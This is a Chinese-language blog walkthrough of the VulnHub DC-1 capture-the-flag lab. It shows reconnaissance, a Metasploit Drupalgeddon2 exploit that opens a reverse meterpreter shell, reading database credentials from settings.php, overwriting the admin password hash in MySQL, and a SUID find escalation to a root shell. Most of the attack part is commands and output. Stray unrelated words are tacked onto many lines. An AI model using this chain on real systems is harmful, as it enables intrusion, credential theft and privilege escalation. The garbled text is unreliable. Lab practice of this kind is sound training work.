【我的筆記】打靶訓練-VulnHub系列項目1:DC-1(環境佈置、下載地址、練習步驟、掃描網址、漏洞利用、獲取數據庫用戶密碼、提權等)

打靶訓練-項目1:DC-1

 2021-08-08完成php

0.環境佈置

 

個人選擇python

虛擬機:VMware15mysql

攻擊機:kali-2021web

靶機:DC-1sql

瀏覽器:谷歌瀏覽器、火狐瀏覽器shell

 

DC-1靶機下載地址:數據庫

https://www.vulnhub.com/entry/dc-1-1,292/後端

其餘下載內容見我以前的博客或者本身搜索瀏覽器

 

各個設備的關係bash

kali與DC-1均爲橋接模式

使得本機、kali、DC-1成爲三個獨立的設備

也能夠kali與DC-1均爲NAT模式,則本機成爲路由器(網關)

 

1.靶機訓練

掃描主機

  • arp-scan -l

    192.168.10.105

 

網站信息

  • whatweb 192.168.10.105

    CMS版本:Drupal 7

 

網站目錄

  • 安裝joomscan

    檢查有這個工具:apt-cache search joomscan

    開始下載該工具:apt-get install joomscan

  • joomscan --url 192.168.10.105

    ++] robots.txt is found
    path : http://192.168.10.105/robots.txt
    http://192.168.10.105/UPGRADE.txt            
    http://192.168.10.105/?q=user/login/

     

查詢漏洞

  • 根據Drupal 7所具備的漏洞進行有選擇的入侵

  • Drupa7.x存在遠程代碼執行漏洞

 

漏洞利用

  • MSF

    #打開MSF控制檯
    msfconsole

    #搜索drupal漏洞
    search drupal

    #使用漏洞4
    use exploit/unix/webapp/drupal_drupalgeddon2
    #Interact with a module by name or index. 使用名字或者索引號進行交互,下面是舉例
    #For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval

    #查看漏洞信息
    info 4

    #加載攻擊荷載(裝導彈)
    set payload
    set payload php/meterpreter/reverse_tcp

    #攻擊地址
    set RHOST 192.168.10.105
    #本機地址
    set LHOST 192.168.10.106
    #開炮
    exploit

    #Meterpreter session 1 opened (192.168.10.106:4444 -> 192.168.10.105:56502)
    #此時已經進來了
    pwd #查看當前所處位置
    ls

     

進入服務器

  • 爲何要進入sites/default/而且查看settings.php

    cd sites
    ls
    cd default
    ls
    cat settings.php
  • 我的認爲:與web先後端開發網站的配置有關 => 因此要學習web先後端內容(PHP、mysql)

    $databases = array (
     'default' =>
     array (
       'default' =>
       array (
         'database' => 'drupaldb',
         'username' => 'dbuser',
         'password' => 'R0ck3t',
         'host' => 'localhost',
         'port' => '',
         'driver' => 'mysql',
         'prefix' => '',
      ),
    ),
    );
  • 登錄數據庫

    #使用shell
    shell
    #經過python控制bash
    python -c 'import pty;pty.spawn("/bin/bash")'
    #僞終端(pseudo terminal,簡稱pty)
    #spawn類屬於python中的知識

    #經過bash登錄mysql
    mysql -udbuser -pR0ck3t
    show databases;
    use drupaldb;
    show tables;
    select * from users\G;

     

    #使用它的php生成密碼爲123.com的哈希值,一會替換

    #所在目錄爲/var/www
    php scripts/password-hash.sh 123.com
    #password: 123.com
    #hash: $S$D6JEFRBRZVIe5sxfWxxJdWuTMNxu6G17.2endA.piks9DUsegcG4

    #登錄mysql
    mysql -udbuser -pR0ck3t
    show databases;
    use drupaldb;
    update users set pass="$S$D6JEFRBRZVIe5sxfWxxJdWuTMNxu6G17.2endA.piks9DUsegcG4" where uid=1;

    #網址登錄admin,123.com
  • 查看配置

    cat /etc/passwd
    flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

    #這是什麼意思?須要用到Linux的知識
    https://www.sohu.com/a/320177323_505901
  • 實現提權(經過find命令實現)

    https://blog.csdn.net/yttitan/article/details/73930244

    #進入/tmp目錄下並創建test文件夾
    cd /tmp
    touch test

    #在tmp中使用find查找
    find test -exec "whoami" \; #肯定本身是什麼身份
    find test -exec"/bin/sh" \; #如果root,則root的bash

    #進入/root目錄查看信息
    cd /root
    ls
    cat thefinalflag.txt
相關文章
相關標籤/搜索